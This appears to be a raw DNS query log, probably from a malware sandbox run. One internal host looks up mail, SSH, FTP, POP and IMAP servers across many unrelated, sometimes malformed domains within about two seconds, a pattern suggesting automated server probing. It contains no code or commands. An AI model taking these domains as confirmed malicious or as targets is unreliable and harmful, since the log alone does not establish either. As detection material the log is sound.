Dec 20, 2023 03:13:31.685009003 CET	192.168.2.4	1.1.1.1	0x130b	Standard query (0)	ssh.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.685321093 CET	192.168.2.4	1.1.1.1	0x79f5	Standard query (0)	ssh.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.685321093 CET	192.168.2.4	1.1.1.1	0x1c06	Standard query (0)	woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.686162949 CET	192.168.2.4	1.1.1.1	0x221c	Standard query (0)	mail.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.693269968 CET	192.168.2.4	1.1.1.1	0x9aa3	Standard query (0)	pop.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.693449974 CET	192.168.2.4	1.1.1.1	0xf6de	Standard query (0)	dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.693648100 CET	192.168.2.4	1.1.1.1	0xd0	Standard query (0)	mail.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.696327925 CET	192.168.2.4	1.1.1.1	0x3241	Standard query (0)	sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.697724104 CET	192.168.2.4	1.1.1.1	0x28c5	Standard query (0)	curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.697724104 CET	192.168.2.4	1.1.1.1	0xcff9	Standard query (0)	pop.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.698275089 CET	192.168.2.4	1.1.1.1	0x2aff	Standard query (0)	bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.698556900 CET	192.168.2.4	1.1.1.1	0x816e	Standard query (0)	ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.702630043 CET	192.168.2.4	1.1.1.1	0xf9d9	Standard query (0)	mail.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.705355883 CET	192.168.2.4	1.1.1.1	0xa3a3	Standard query (0)	mail.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.719018936 CET	192.168.2.4	1.1.1.1	0x5c60	Standard query (0)	ssh.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.784343004 CET	192.168.2.4	1.1.1.1	0x3066	Standard query (0)	ssh.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.900197983 CET	192.168.2.4	1.1.1.1	0x5594	Standard query (0)	mail.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.947061062 CET	192.168.2.4	1.1.1.1	0x756	Standard query (0)	mail.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.949644089 CET	192.168.2.4	1.1.1.1	0xb25a	Standard query (0)	yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.965517044 CET	192.168.2.4	1.1.1.1	0x5294	Standard query (0)	ssh.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.969957113 CET	192.168.2.4	1.1.1.1	0xe193	Standard query (0)	gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:31.970660925 CET	192.168.2.4	1.1.1.1	0xbb8f	Standard query (0)	dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.032115936 CET	192.168.2.4	1.1.1.1	0x152e	Standard query (0)	imap.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.032771111 CET	192.168.2.4	1.1.1.1	0x2a1b	Standard query (0)	pop3.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.033011913 CET	192.168.2.4	1.1.1.1	0x70a9	Standard query (0)	ssh.woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.036458969 CET	192.168.2.4	1.1.1.1	0x53c5	Standard query (0)	ssh.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.079446077 CET	192.168.2.4	1.1.1.1	0xd83b	Standard query (0)	ssh.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.081403971 CET	192.168.2.4	1.1.1.1	0xa666	Standard query (0)	ssh.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.081902981 CET	192.168.2.4	1.1.1.1	0x1ab8	Standard query (0)	mail.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.082186937 CET	192.168.2.4	1.1.1.1	0x54ff	Standard query (0)	ssh.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.082928896 CET	192.168.2.4	1.1.1.1	0x7f91	Standard query (0)	horsetech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.091017962 CET	192.168.2.4	1.1.1.1	0x167d	Standard query (0)	mail.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.093111038 CET	192.168.2.4	1.1.1.1	0xde80	Standard query (0)	ssh.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.093573093 CET	192.168.2.4	1.1.1.1	0x7854	Standard query (0)	mail.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.093801022 CET	192.168.2.4	1.1.1.1	0xe479	Standard query (0)	ssh.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.094439983 CET	192.168.2.4	1.1.1.1	0x68ea	Standard query (0)	mail.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.114831924 CET	192.168.2.4	1.1.1.1	0x7583	Standard query (0)	mail.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.130450010 CET	192.168.2.4	1.1.1.1	0x7171	Standard query (0)	ssh.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.130786896 CET	192.168.2.4	1.1.1.1	0x9991	Standard query (0)	ssh.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.130786896 CET	192.168.2.4	1.1.1.1	0x497d	Standard query (0)	ssh.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.131086111 CET	192.168.2.4	1.1.1.1	0xb13a	Standard query (0)	ssh.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.131086111 CET	192.168.2.4	1.1.1.1	0x2e79	Standard query (0)	ssh.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.132297039 CET	192.168.2.4	1.1.1.1	0x85dc	Standard query (0)	ftp.centurylaboratories.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.141825914 CET	192.168.2.4	1.1.1.1	0x56fb	Standard query (0)	ftp.collinsgordonhenry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.142201900 CET	192.168.2.4	1.1.1.1	0x110	Standard query (0)	ssh.london.com.tr	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.142638922 CET	192.168.2.4	1.1.1.1	0xa183	Standard query (0)	ftp.ornos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.167042017 CET	192.168.2.4	1.1.1.1	0x60d1	Standard query (0)	artusopastry.myshopify.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.167629957 CET	192.168.2.4	1.1.1.1	0x626	Standard query (0)	imap.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.171840906 CET	192.168.2.4	1.1.1.1	0xb93c	Standard query (0)	imap.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.172287941 CET	192.168.2.4	1.1.1.1	0xa033	Standard query (0)	mail.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.173145056 CET	192.168.2.4	1.1.1.1	0xa91c	Standard query (0)	ssh.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.176795006 CET	192.168.2.4	1.1.1.1	0x5bb9	Standard query (0)	ssh.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.177660942 CET	192.168.2.4	1.1.1.1	0x56a2	Standard query (0)	pop.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.177660942 CET	192.168.2.4	1.1.1.1	0x466d	Standard query (0)	yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.186465979 CET	192.168.2.4	1.1.1.1	0x2bab	Standard query (0)	ftp.orangutech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.219913960 CET	192.168.2.4	1.1.1.1	0x3273	Standard query (0)	imap.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.219913960 CET	192.168.2.4	1.1.1.1	0x6c14	Standard query (0)	pop.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.221879959 CET	192.168.2.4	1.1.1.1	0xbea	Standard query (0)	pop.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.248452902 CET	192.168.2.4	1.1.1.1	0x2292	Standard query (0)	pop.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.248888016 CET	192.168.2.4	1.1.1.1	0xcdf7	Standard query (0)	pop.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.255533934 CET	192.168.2.4	1.1.1.1	0x35d5	Standard query (0)	pop.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.256141901 CET	192.168.2.4	1.1.1.1	0x527d	Standard query (0)	pop.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.260385990 CET	192.168.2.4	1.1.1.1	0xd2ed	Standard query (0)	imap.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.263631105 CET	192.168.2.4	1.1.1.1	0xd2a5	Standard query (0)	imap.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.263631105 CET	192.168.2.4	1.1.1.1	0xcf41	Standard query (0)	imap.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.264671087 CET	192.168.2.4	1.1.1.1	0x3c87	Standard query (0)	ssh.a2b-internet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.265443087 CET	192.168.2.4	1.1.1.1	0xe96b	Standard query (0)	eco-child.myshopify.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.269242048 CET	192.168.2.4	1.1.1.1	0x96cd	Standard query (0)	pop.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.372165918 CET	192.168.2.4	1.1.1.1	0x21e0	Standard query (0)	pop.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.372826099 CET	192.168.2.4	1.1.1.1	0x80e9	Standard query (0)	imap.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.374149084 CET	192.168.2.4	1.1.1.1	0x44ed	Standard query (0)	imap.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.375443935 CET	192.168.2.4	1.1.1.1	0x7d5b	Standard query (0)	pop.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.451127052 CET	192.168.2.4	1.1.1.1	0x1c08	Standard query (0)	imap.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.451509953 CET	192.168.2.4	1.1.1.1	0x4246	Standard query (0)	ssh.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.452020884 CET	192.168.2.4	1.1.1.1	0x569a	Standard query (0)	ssh.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.452183962 CET	192.168.2.4	1.1.1.1	0x91f7	Standard query (0)	imap.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.453933001 CET	192.168.2.4	1.1.1.1	0x6c09	Standard query (0)	imap.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.465709925 CET	192.168.2.4	1.1.1.1	0x3274	Standard query (0)	imap.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.466274977 CET	192.168.2.4	1.1.1.1	0x2684	Standard query (0)	imap.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.466686964 CET	192.168.2.4	1.1.1.1	0x9931	Standard query (0)	imap.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.466963053 CET	192.168.2.4	1.1.1.1	0xba73	Standard query (0)	imap.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.467892885 CET	192.168.2.4	1.1.1.1	0x5958	Standard query (0)	pop3.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.467892885 CET	192.168.2.4	1.1.1.1	0x4f19	Standard query (0)	pop3.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.468775988 CET	192.168.2.4	1.1.1.1	0xf242	Standard query (0)	pop.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.469376087 CET	192.168.2.4	1.1.1.1	0xa14a	Standard query (0)	imap.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.469975948 CET	192.168.2.4	1.1.1.1	0x4122	Standard query (0)	ftp.rehau.com.mk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.469975948 CET	192.168.2.4	1.1.1.1	0x8d8e	Standard query (0)	ftp.plastikolor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.471020937 CET	192.168.2.4	1.1.1.1	0x50e4	Standard query (0)	ftp.mobiamericas.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.471101999 CET	192.168.2.4	1.1.1.1	0xcfe9	Standard query (0)	imap.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.471999884 CET	192.168.2.4	1.1.1.1	0xeb4e	Standard query (0)	ftp.newriverclimbing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.471999884 CET	192.168.2.4	1.1.1.1	0x7ef9	Standard query (0)	ftp.ontariobluejays.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.472318888 CET	192.168.2.4	1.1.1.1	0x4d0c	Standard query (0)	pop3.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.532048941 CET	192.168.2.4	1.1.1.1	0xdade	Standard query (0)	pop3.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.532912016 CET	192.168.2.4	1.1.1.1	0xc6f1	Standard query (0)	imap.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.534696102 CET	192.168.2.4	1.1.1.1	0x6c90	Standard query (0)	ssh.nicsonsconcrete.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.537130117 CET	192.168.2.4	1.1.1.1	0x922b	Standard query (0)	pop3.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.558762074 CET	192.168.2.4	1.1.1.1	0xe276	Standard query (0)	pop3.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.559096098 CET	192.168.2.4	1.1.1.1	0x114e	Standard query (0)	pop3.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.559282064 CET	192.168.2.4	1.1.1.1	0xf90c	Standard query (0)	pop.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.563662052 CET	192.168.2.4	1.1.1.1	0x3673	Standard query (0)	imap.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.564218998 CET	192.168.2.4	1.1.1.1	0xf11a	Standard query (0)	pop.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.564218998 CET	192.168.2.4	1.1.1.1	0x7b6c	Standard query (0)	ssh.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.565465927 CET	192.168.2.4	1.1.1.1	0xc45a	Standard query (0)	pop3.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.565465927 CET	192.168.2.4	1.1.1.1	0xa241	Standard query (0)	imap.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.566054106 CET	192.168.2.4	1.1.1.1	0xa4f6	Standard query (0)	pop3.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.580476999 CET	192.168.2.4	1.1.1.1	0x632b	Standard query (0)	pop.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.580629110 CET	192.168.2.4	1.1.1.1	0x878b	Standard query (0)	lsmnutrition-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.581429005 CET	192.168.2.4	1.1.1.1	0xc59	Standard query (0)	imap.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.599872112 CET	192.168.2.4	1.1.1.1	0x9b7b	Standard query (0)	ssh.copyset.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.599872112 CET	192.168.2.4	1.1.1.1	0x1946	Standard query (0)	ssh.plastikolor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.642329931 CET	192.168.2.4	1.1.1.1	0x180	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.642865896 CET	192.168.2.4	1.1.1.1	0x366	Standard query (0)	ssh.activegraphics.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.642865896 CET	192.168.2.4	1.1.1.1	0xb2e0	Standard query (0)	ssh.rosetre.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.645119905 CET	192.168.2.4	1.1.1.1	0xd65e	Standard query (0)	ssh.newriverclimbing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.771621943 CET	192.168.2.4	1.1.1.1	0x58b1	Standard query (0)	imap.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.772028923 CET	192.168.2.4	1.1.1.1	0xa746	Standard query (0)	pop3.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.778328896 CET	192.168.2.4	1.1.1.1	0x50f	Standard query (0)	pop3.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.838885069 CET	192.168.2.4	1.1.1.1	0xb4bf	Standard query (0)	pop3.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.855977058 CET	192.168.2.4	1.1.1.1	0x421a	Standard query (0)	imap.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.879633904 CET	192.168.2.4	1.1.1.1	0xa02b	Standard query (0)	pop3.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.879998922 CET	192.168.2.4	1.1.1.1	0x4749	Standard query (0)	imap.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.921914101 CET	192.168.2.4	1.1.1.1	0x591e	Standard query (0)	pop3.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.924316883 CET	192.168.2.4	1.1.1.1	0x1dd6	Standard query (0)	ssh.choctawcasino.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.924603939 CET	192.168.2.4	1.1.1.1	0xb602	Standard query (0)	ssh.centurylaboratories.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.924715042 CET	192.168.2.4	1.1.1.1	0x6d19	Standard query (0)	ssh.tiltdesign.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.939122915 CET	192.168.2.4	1.1.1.1	0xd875	Standard query (0)	ssh.ornos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.939122915 CET	192.168.2.4	1.1.1.1	0xed26	Standard query (0)	ssh.collinsgordonhenry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.939480066 CET	192.168.2.4	1.1.1.1	0x8db4	Standard query (0)	ssh.directservbms.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.939980984 CET	192.168.2.4	1.1.1.1	0x5000	Standard query (0)	ssh.mobiamericas.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.940817118 CET	192.168.2.4	1.1.1.1	0xc2e4	Standard query (0)	pop3.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.941329002 CET	192.168.2.4	1.1.1.1	0x86d1	Standard query (0)	pop3.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.941895962 CET	192.168.2.4	1.1.1.1	0xe49d	Standard query (0)	pop3.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.941895962 CET	192.168.2.4	1.1.1.1	0xdd51	Standard query (0)	pop3.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.953864098 CET	192.168.2.4	1.1.1.1	0x4f46	Standard query (0)	pop3.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.954596996 CET	192.168.2.4	1.1.1.1	0x2f3f	Standard query (0)	pop3.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.957155943 CET	192.168.2.4	1.1.1.1	0xbe72	Standard query (0)	imap.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.980494976 CET	192.168.2.4	1.1.1.1	0xc55e	Standard query (0)	pop3.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.983191967 CET	192.168.2.4	1.1.1.1	0x52c2	Standard query (0)	imap.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.984303951 CET	192.168.2.4	1.1.1.1	0x6aea	Standard query (0)	pop3.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.984303951 CET	192.168.2.4	1.1.1.1	0xe4e6	Standard query (0)	imap.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.020431042 CET	192.168.2.4	1.1.1.1	0x1030	Standard query (0)	imap.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.040592909 CET	192.168.2.4	1.1.1.1	0x469c	Standard query (0)	imap.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.045173883 CET	192.168.2.4	1.1.1.1	0xbfd4	Standard query (0)	ssh.dako.netai.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.045173883 CET	192.168.2.4	1.1.1.1	0x4244	Standard query (0)	ssh.ontariobluejays.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.076905966 CET	192.168.2.4	1.1.1.1	0xb6f	Standard query (0)	pop3.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.078089952 CET	192.168.2.4	1.1.1.1	0x7a86	Standard query (0)	imap.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.078089952 CET	192.168.2.4	1.1.1.1	0xc17	Standard query (0)	pop3.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.079355001 CET	192.168.2.4	1.1.1.1	0xbf41	Standard query (0)	imap.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.280430079 CET	192.168.2.4	1.1.1.1	0xa666	Standard query (0)	ssh.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.299731970 CET	192.168.2.4	1.1.1.1	0xdd64	Standard query (0)	pop3.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.299731970 CET	192.168.2.4	1.1.1.1	0x899a	Standard query (0)	pop3.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.299983025 CET	192.168.2.4	1.1.1.1	0x8b11	Standard query (0)	imap.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.320427895 CET	192.168.2.4	1.1.1.1	0x2707	Standard query (0)	pop3.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.417567968 CET	192.168.2.4	1.1.1.1	0xdd2a	Standard query (0)	mail.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.417567968 CET	192.168.2.4	1.1.1.1	0xf3d1	Standard query (0)	ftp.kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.419351101 CET	192.168.2.4	1.1.1.1	0x1518	Standard query (0)	pop3.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.456427097 CET	192.168.2.4	1.1.1.1	0xe27f	Standard query (0)	imap.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.458515882 CET	192.168.2.4	1.1.1.1	0x3f48	Standard query (0)	imap.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.458515882 CET	192.168.2.4	1.1.1.1	0xec5a	Standard query (0)	imap.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.467916965 CET	192.168.2.4	1.1.1.1	0x90d2	Standard query (0)	imap.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.476428986 CET	192.168.2.4	1.1.1.1	0xaaaf	Standard query (0)	pop3.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.551613092 CET	192.168.2.4	1.1.1.1	0x1e9a	Standard query (0)	pop3.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.611442089 CET	192.168.2.4	1.1.1.1	0x96ab	Standard query (0)	ssh.rehau.com.mk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.642977953 CET	192.168.2.4	1.1.1.1	0xca54	Standard query (0)	ssh.bookmyrace.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.643234968 CET	192.168.2.4	1.1.1.1	0xd6a	Standard query (0)	ssh.orangutech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.651578903 CET	192.168.2.4	1.1.1.1	0x4ee8	Standard query (0)	ssh.sadowsky.webatu.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.654191971 CET	192.168.2.4	1.1.1.1	0x180	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.655978918 CET	192.168.2.4	1.1.1.1	0x2481	Standard query (0)	imap.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.660429955 CET	192.168.2.4	1.1.1.1	0x55e7	Standard query (0)	imap.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.740108967 CET	192.168.2.4	1.1.1.1	0xaf45	Standard query (0)	imap.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.747473955 CET	192.168.2.4	1.1.1.1	0x4e01	Standard query (0)	mailgate.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.749818087 CET	192.168.2.4	1.1.1.1	0xdb59	Standard query (0)	mail.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.765789032 CET	192.168.2.4	1.1.1.1	0x4e89	Standard query (0)	imap.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.768452883 CET	192.168.2.4	1.1.1.1	0xaa2d	Standard query (0)	imap.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.769675016 CET	192.168.2.4	1.1.1.1	0x8ea3	Standard query (0)	imap.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.769675016 CET	192.168.2.4	1.1.1.1	0xc683	Standard query (0)	imap.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.796350002 CET	192.168.2.4	1.1.1.1	0xdebc	Standard query (0)	pop3.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.848732948 CET	192.168.2.4	1.1.1.1	0x3839	Standard query (0)	pop3.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.848732948 CET	192.168.2.4	1.1.1.1	0xfa6c	Standard query (0)	pop3.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
